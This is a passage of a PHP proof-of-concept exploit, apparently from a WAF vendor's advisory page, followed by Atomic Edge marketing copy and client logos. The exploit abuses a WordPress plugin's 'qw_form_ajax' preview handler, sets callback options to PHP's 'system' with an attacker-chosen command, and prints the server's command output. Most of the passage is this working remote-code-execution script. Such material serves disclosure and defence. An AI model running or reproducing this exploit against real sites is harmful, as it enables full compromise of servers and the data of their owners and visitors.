$options_array = [
    'qw-query-options' => [
        'args' => ['paged' => 1],
        'filters' => [
            [
                'type' => 'callback',
                'values' => ['callback' => 'system']
            ]
        ],
        'fields' => [
            [
                'type' => 'callback',
                'values' => [
                    'custom_output_callback' => 'system',
                    'include_output_arguments' => 1,
                    'output_arguments' => $cmd
                ]
            ]
        ]
    ]
];
$options_encoded = urlencode(http_build_query($options_array));

// 4. Send the AJAX request
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
    'action' => 'qw_form_ajax',
    'form' => 'preview',
    'options' => $options_encoded,
    'query_id' => '1',
    'qw_nonce' => $nonce
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
curl_close($ch);

if ($response !== false) {
    echo "[+] Request sent. Response received. Look for command output in response:n";
    echo $response . "n";
} else {
    echo "[-] Request failed.n";
}

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.